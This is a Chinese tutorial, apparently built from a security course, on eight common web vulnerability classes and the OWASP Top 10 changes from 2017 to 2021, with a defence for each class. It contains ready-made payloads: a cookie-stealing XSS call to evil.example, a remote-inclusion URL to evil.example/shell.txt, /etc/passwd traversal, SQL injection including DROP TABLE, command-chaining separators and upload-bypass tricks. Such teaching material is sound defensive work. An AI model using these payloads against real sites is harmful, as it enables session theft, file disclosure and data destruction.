本文是《Web 安全综述(上)》的下篇,根据深信服 SCSA-S 课程《Web 安全综述》第三、四课整理。上篇讲 Web 的起源、架构与安全发展,下篇进入具体漏洞,并梳理 OWASP Top 10 从 2017 到 2021 的变化。

引言:从整体认识到具体漏洞

上篇解决的是”看全局”的问题:Web 由哪些层组成,数据怎么流动,攻击面怎么迁移。这一篇解决”看具体”的问题:常见的八类 Web 漏洞分别是什么、怎么打、怎么防;以及业界最常被引用的风险清单——OWASP Top 10。

每个漏洞都按同一个模板讲:是什么 → 为什么会有 → 怎么利用 → 怎么防。理解了模板,遇到新漏洞也能自己套。


一、常见 Web 安全漏洞

1.1 信息泄露

信息泄露是指 Web 服务器或应用程序没有正确处理一些特殊请求,泄露了用户名、密码、源代码、服务器信息、配置信息等敏感内容。

三个主要原因:

  1. Web 服务器配置有问题,系统文件或配置文件暴露在互联网中;
  2. Web 服务器本身存在漏洞,输入特殊字符就能访问未授权文件或脚本源码;
  3. 网站程序编写有问题,对用户请求没有适当过滤,直接使用用户提交的数据。

常见载体:

载体 说明
robots.txt 声明爬虫不应抓取的目录,反而暴露隐藏目录
目录列表 服务器启用了自动索引,目录内容可被直接列出
备份文件 管理员将 .rar、.zip、.tar.gz、.bak、.txt 等备份放在 Web 目录
.git / .svn / .hg 版本控制元数据泄露,可用 GitHack、dvcs-ripper 还原源码
.DS_Store macOS 目录索引,可恢复文件名
WEB-INF/web.xml Java Web 的安全目录,含文件映射关系
错误信息 错误信息中包含表名、列名、路径和堆栈
硬编码 源码中的 API Key、IP、数据库账号密码

信息泄露通常不是最终目标,而是后续攻击的前置条件。获取源码后可以进行代码审计,查找硬编码密钥、未过滤参数和隐藏接口;获取目录结构后可以针对已知漏洞进行测试。很多渗透报告的第一条”高危”,就是从 .git 或备份文件开始的。

防御:部署时排除 .git、.svn、.DS_Store 和备份文件;关闭目录列表;错误页面统一化;敏感配置放环境变量或配置中心;备份文件放在 Web 根目录之外。

1.2 目录遍历:通过 ../ 访问网站根目录之外的文件

目录遍历(目录穿越)指攻击者利用 ../ 读取应用程序所在服务器上的任意文件,包括代码、数据、后端登录信息和操作系统敏感文件。课件对危害的判断很直接:能让任意用户访问系统敏感文件,继而危及整个服务器。

危险写法:

$file = $_GET['file'];
readfile("/var/www/html/uploads/" . $file);

传入 ../../../etc/passwd,路径将指向 uploads 之外:

/var/www/images/../../../etc/passwd ≡ /etc/passwd

实际测试时 ../ 常被过滤,于是有各种变形:

变形 说明
%2e%2e%2f URL 编码后的 ../
%252e%252e%252f 双重 URL 编码
..%2f、..%5c 混合斜杠,Windows 下 \ 也有效
....// 过滤替换后重新拼出 ../

注意区分两个概念:

  • 目录列表:服务器把目录下的文件名列出来,是配置问题;
  • 目录遍历:通过 ../ 越过预期目录,是代码问题。

防御:

$base = realpath('/var/www/html/uploads');
$target = realpath($base . '/' . $file);
if ($base === false || $target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
exit('Invalid path');
}

用 realpath() 规范化后按目录分隔符校验边界,避免相似前缀目录误判为合法路径;能白名单就白名单;文件存储与 Web 根目录分离;进程以最小权限运行。

1.3 XSS:在受害者浏览器中执行脚本

跨站脚本攻击(XSS)指攻击者通过在 Web 页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。

关键词是在别人的浏览器里执行——XSS 攻击的是用户,不是服务器。

类型 数据流 特点 典型场景
反射型 请求参数 → 服务器 → 原样回显 需诱导点击,不持久 搜索结果页、错误提示页
存储型 恶意数据入库 → 其他用户访问时读出 持久化,危害最大,可成蠕虫 留言板、个人签名、评论区
DOM 型 浏览器端 JS 直接读取可控数据并写入危险 API 服务器可能完全不知情 location.hash、innerHTML

最小示例:

<!-- 反射型:搜索关键词被原样输出 -->
https://target/search?q=<script>alert(document.cookie)</script>
<!-- 存储型:评论内容被存库后展示 -->
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
<!-- DOM 型:前端直接把 hash 写进 innerHTML -->
https://target/#<img src=x onerror=alert(1)>

危害包括盗取 Cookie/会话、XSS 蠕虫、会话劫持、钓鱼,以及配合 CSRF 执行管理员操作。

防御:按上下文(HTML 正文、属性、JS、CSS、URL)做输出编码;使用默认转义的框架;部署 CSP;会话 Cookie 加 HttpOnly;富文本用白名单清洗。输入校验有帮助,但不能替代输出编码。

1.4 SQL 注入:篡改数据库查询

SQL 注入指 Web 系统对数据库访问语句过滤不严,入侵者在合法参数位置传入特殊字符、命令,实现对后台数据库的入侵。

两种基本类型:

-- 数字型:参数没有引号包裹
SELECT * FROM table WHERE id = 1
-- 字符型:参数被引号包裹
SELECT * FROM table WHERE username = 'test'

对应测试:

1 OR 1=1
test' OR '1'='1

常见手法:

类型 原理 典型 payload
UNION 注入 把原查询结果与攻击者查询合并 1 UNION SELECT 1,2,3--
报错注入 让数据库在报错信息里带出数据 extractvalue()、updatexml()
布尔盲注 根据页面”真/假”差异逐位猜解 AND substr(database(),1,1)='a'
时间盲注 根据响应时间差异判断 AND IF(...,SLEEP(3),0)
堆叠注入 一次执行多条语句(部分数据库支持) 1; DROP TABLE users--

危害:数据库信息泄露、数据被篡改/删除、通过 INTO OUTFILE 写 WebShell,甚至以数据库为跳板攻击内网。

防御:

// 错误:字符串拼接
$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'";
// 正确:预处理 + 参数绑定
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = ?');
$stmt->execute([$_GET['name']]);

预编译/参数化查询是首选;数据库账号最小权限;关闭详细报错;WAF 兜底但不能替代代码修复;查询加 LIMIT 降低泄露量。

1.5 文件上传:上传可执行脚本

网站一般都有文件上传功能(文档、图片、头像、视频)。当上传代码没有严格校验后缀和类型时,就可以上传任意文件,甚至可执行的后门脚本。

上传本身不是漏洞,“上传之后能被当作脚本执行”才是。攻击者上传一个脚本文件,访问它,服务器就会执行里面的代码。这个脚本通常只有一行,核心逻辑是接收外部参数并当作代码执行,业内称为”一句话木马”。上传点 + 可执行目录,是实战中最常见的 GetShell 组合之一。

常见绕过思路:

校验方式 绕过手法
前端 JS 校验 抓包改包、禁用 JS
Content-Type 校验 改成 image/jpeg
后缀黑名单 .php3、.phtml、.php5、大小写、双后缀
路径/文件名过滤 截断、特殊字符、::$DATA(Windows)
只校验文件头 图片马:合法图片头 + 脚本代码,再配合文件包含执行
服务器解析漏洞 IIS x.jpg/.php、Apache 多后缀、Nginx 配置不当

防御:白名单校验后缀;同时校验 MIME 和文件头;上传后重命名;上传目录禁止脚本执行;文件存储到 Web 根目录之外;图片做二次渲染;限制大小和数量。

1.6 命令执行:从”调用系统命令”到”接管服务器”

应用程序有时需要调用系统命令,而 PHP 的 system、exec、shell_exec、passthru、反引号等都可以执行系统命令。当参数可被用户控制时,攻击者就能把恶意命令拼接到正常命令中。

典型场景:

$ip = $_GET['ip'];
system("ping -c 1 " . $ip);

正常请求 ?ip=127.0.0.1,攻击者传 ?ip=127.0.0.1; id,实际执行:

Terminal window
ping -c 1 127.0.0.1; id

常见拼接符:

符号 含义
; 顺序执行,前一条失败也继续
| 管道,把前一条输出作为后一条输入
|| 前一条失败才执行后一条
&& 前一条成功才执行后一条
`、$() 命令替换,把结果嵌入
换行 等价于分号

危害:读写任意文件、反弹 Shell、横向移动、清理日志、留后门。若当前用户是 root,危害更大。

防御:能不用系统命令就不用;必须调用时用 escapeshellarg() / escapeshellcmd() 或参数数组;参数白名单;Web 进程低权限;disable_functions 禁用危险函数;容器/沙箱隔离。

1.7 文件包含:包含可控文件

开发人员会把重复使用的函数写到单个文件中,需要时直接调用,这个调用过程叫文件包含。所有脚本语言都提供该功能,但文件包含漏洞在 PHP 中居多,JSP、ASP、ASP.NET 中很少。

include('header.php');
require('config.php');

区别:include 出错只警告,脚本继续;require 出错是致命错误,脚本终止。

危险写法:

$page = $_GET['page'];
include($page . '.php');
类型 条件 示例
本地文件包含(LFI) 只能包含服务器本地文件 ?page=../../../../etc/passwd
远程文件包含(RFI) allow_url_include=On ?page=http://evil.example/shell.txt

常见利用手法:

  • 读取敏感文件:/etc/passwd、/proc/self/environ、应用配置、日志;
  • 包含日志 getshell:把 PHP 代码写进访问日志,再包含日志文件;
  • 伪协议:php://filter 读源码、php://input 执行 POST Body、data://、zip://、phar://;
  • 配合文件上传:上传图片马,再用包含执行。

读源码的经典 payload:

?page=php://filter/read=convert.base64-encode/resource=index.php

防御:包含路径用白名单映射;allow_url_include=Off;open_basedir 限制目录;上传目录禁止执行且与包含目录分离;审计 include、require 的参数来源。

1.8 Web 中间件漏洞

Web 中间件介于操作系统和应用程序之间,屏蔽底层通讯、交互、连接的复杂性,以产品形式提供通用能力。常见中间件:IIS、Apache、Tomcat、Nginx、WebLogic、JBoss。

中间件 常见漏洞
IIS 解析漏洞、PUT 命令执行、PUT 文件上传、短文件名猜解
Apache 文件解析漏洞
Tomcat 任意写文件(CVE-2017-12615)、远程部署、任意文件读取/包含(CVE-2020-1938)
Nginx 文件解析漏洞、目录穿越(配置不当)
WebLogic 弱口令 + 远程部署、任意文件上传(CVE-2018-2894)、SSRF(CVE-2014-4210)
JBoss 反序列化(CVE-2017-12149)、JMS 反序列化(CVE-2017-7504)、弱口令 + 远程部署

Tomcat Ghostcat(CVE-2020-1938):AJP 协议(默认 8009)存在缺陷,攻击者可读取 Web 应用目录下的任意文件,包括 WEB-INF/web.xml、源码和配置;如果应用有上传功能,还能进一步包含文件实现 RCE。影响 Tomcat 6.x、7.x < 7.0.100、8.x < 8.5.51、9.x < 9.0.31。修复:升级;不需要 AJP 就注释掉 Connector;必须使用时设置 secret、绑定 127.0.0.1。

中间件漏洞值得单独学,是因为它们影响面大、利用稳定、可造成严重后果。一个配置疏忽,可能使前面所有的代码安全措施失效。

1.9 漏洞组合利用:真实攻击不是单点

信息泄露(.git / 备份文件)
↓ 获取源码
代码审计(发现未过滤参数)
↓
SQL 注入(获取管理员密码)
↓ 登录后台
文件上传(上传图片马)
↓
文件包含(执行图片马)
↓
命令执行(反弹 Shell)
↓
提权 / 横向移动 / 持久化

这条链给防守方的启示是:不需要在每一环都做到完美,但要在关键节点实施控制。源码不泄露,攻击者无法获得源码与目录信息;上传目录不可执行,图片马失效;文件包含白名单,图片马无法被包含;Web 进程低权限,即使 RCE 也拿不到 root;数据库最小权限,注入拿不到系统权限;出网限制和日志告警,能让反弹 Shell 和横向移动暴露。

这就是”纵深防御”的含义:不依赖单点防护,而是提高每一阶段的攻击成本。


二、OWASP Top 10:2017 → 2021

2.1 OWASP 是什么

OWASP(Open Web Application Security Project,开放式 Web 应用程序安全项目)是一个开源的、非盈利的全球性安全组织,在 Web 应用安全领域提供文章、方法论、文档、工具和技术,致力于应用软件的安全研究。

它的使命是:使应用软件更加安全,使企业和组织能够对应用安全风险做出更清晰的决策。

OWASP Top 10 列出了公认的最有威胁性的 Web 应用安全漏洞,总结并更新 Web 应用中最多见、最危险的十大风险。它不是”漏洞大全”,而是一份风险共识:用于指导开发、运维和安全团队确定优先级。

Top 10 是”意识文档”,不是”测试清单”。真正做评估时,还要结合业务场景、资产重要性和威胁模型。

2.2 2017 榜单

编号 风险 一句话
A1 注入(Injection) 不可信数据被当作命令/查询的一部分送进解析器
A2 失效的身份认证 认证和会话管理被错误使用,攻击者可冒充他人
A3 敏感数据泄露 传输、存储、浏览器交互中的数据没有加密
A4 XML 外部实体(XXE) 解析 XML 时加载外部实体,导致文件读取、SSRF、DoS
A5 失效的访问控制 没有正确校验”这个用户能不能做这件事”
A6 安全配置错误 默认配置、残留功能、详细报错、缺少安全头
A7 跨站脚本(XSS) 不可信数据进入 HTML/JS 上下文并在浏览器执行
A8 不安全的反序列化 反序列化不可信对象,可能导致 RCE
A9 使用含有已知漏洞的组件 库、框架、组件未及时更新
A10 不足的日志记录和监控 攻击发生后发现不了、追不到、响应不了

2.3 2021 榜单

编号 风险 一句话
A01 访问控制失效 越权访问成为第一风险
A02 加密机制失效 敏感数据未加密或使用了弱算法
A03 注入 包含 SQL、NoSQL、OS、LDAP 注入以及 XSS
A04 不安全的设计 设计阶段就没有考虑威胁,代码再规范也没用
A05 安全配置错误 默认配置、云存储权限、错误信息、安全头
A06 易受攻击和过时的组件 组件、依赖、供应链
A07 身份识别与认证失败 弱口令、凭证填充、会话管理缺陷
A08 软件和数据完整性故障 反序列化、CI/CD 供应链、未签名更新
A09 安全日志和监控故障 日志不足、告警缺失、响应无效
A10 服务器端请求伪造(SSRF) 服务器被诱导去请求内网或云元数据

2.4 从 2017 到 2021:变了什么

2017 2021 说明
A1 注入 A03 注入 合并了 XSS,范围更大
A2 失效的身份认证 A07 身份识别与认证失败 更名,强调”识别”
A3 敏感数据泄露 A02 加密机制失效 从”结果”转向”原因”
A4 XXE A05 安全配置错误 不再单列,归入配置/解析器问题
A5 失效的访问控制 A01 访问控制失效 升至第一
A6 安全配置错误 A05 安全配置错误 保持
A7 XSS A03 注入 并入注入
A8 不安全的反序列化 A08 软件和数据完整性故障 扩展到供应链与更新完整性
A9 已知漏洞组件 A06 易受攻击和过时的组件 排名上升
A10 日志与监控不足 A09 安全日志和监控故障 保持
— A04 不安全的设计 新增
— A10 SSRF 新增

五个关键信号:

  1. 访问控制超过注入,成为第一风险——说明”越权”在实际业务中太普遍;
  2. 新增”不安全的设计”——业界从”写错代码”转向”设计就有问题”;
  3. XSS 并入注入、XXE 并入配置错误——分类在收敛,强调根因而不是单个手法;
  4. 反序列化升级为”软件和数据完整性故障”——供应链和 CI/CD 成为新的风险领域;
  5. 新增 SSRF——云原生环境下,服务器”替攻击者发请求”的风险被正式承认。

2.5 2021 十大风险速览

2021 风险 核心问题 关键防御
A01 访问控制失效 越权、IDOR、CORS 配置错误 默认拒绝、服务端校验、所有权模型、失败告警
A02 加密机制失效 明文传输/存储、弱算法、密钥管理缺失 数据分类、全站 HTTPS、强算法、密钥轮换
A03 注入 SQL/NoSQL/OS/LDAP 注入、XSS 参数化查询、上下文输出编码、白名单校验
A04 不安全的设计 缺少威胁建模、业务逻辑缺陷 威胁建模、安全设计模式、滥用场景测试
A05 安全配置错误 默认配置、开放云存储、详细报错 加固基线、最小化平台、安全头、移除默认账户
A06 易受攻击组件 依赖过时、供应链投毒 SBOM、依赖扫描、补丁管理、官方渠道
A07 认证失败 弱口令、凭证填充、会话固定 MFA、弱密码检查、限速、登录后更换会话 ID
A08 完整性故障 反序列化、未签名更新、CI/CD 污染 签名校验、可信仓库、类型约束、隔离运行
A09 日志监控故障 日志缺失、告警无效、响应缺失 审计关键事件、集中日志、告警阈值、应急预案
A10 SSRF 服务器请求内网/云元数据 URL 白名单、禁跳转、封禁内网段、网络分段

2.6 Top 10 的正确用法

Top 10 不是”逐条打勾”的清单,而是按风险分配精力的框架。比较实用的做法是把它映射到研发流程:

阶段 对应风险 具体动作
需求与设计 A04 不安全的设计、A01 访问控制 威胁建模、权限模型
编码 A03 注入、A02 加密、A08 完整性 安全编码规范、参数化、输出编码
依赖管理 A06 已知漏洞组件 SBOM、依赖扫描、补丁流程
配置与部署 A05 配置错误、A02 加密 加固基线、HTTPS、最小化平台
测试 全部 SAST、DAST、渗透测试、代码审计
运行 A07 认证、A09 日志监控 MFA、限速、SIEM、应急响应

再补一句:OWASP 还有 ASVS(应用安全验证标准)和 WSTG(测试指南)。前者定义验证要求,后者提供测试方法。Top 10 提供风险优先级,ASVS/WSTG 提供验证与测试依据。


三、小结

下篇的内容可以压缩成三句话:

  1. 常见漏洞都是”数据与语法相遇”的变体:SQL 注入、XSS、命令执行、文件包含、目录遍历,本质都是用户可控数据进入了不该进入的解释器。
  2. 单个漏洞影响有限,组合利用可形成完整攻击链:信息泄露 → 源码审计 → 注入/上传 → 包含/命令执行;防守要在关键节点实施控制。
  3. OWASP Top 10 的重点在”变化”:从 2017 到 2021,访问控制升至第一、新增不安全设计与 SSRF、XSS/XXE 被合并、反序列化扩展到供应链——风险正从”代码写错”转向”设计、架构与供应链”。

把上下篇合起来看:上篇建立整体认识,下篇分析具体漏洞;整体认识决定分析视角,具体漏洞决定测试入口。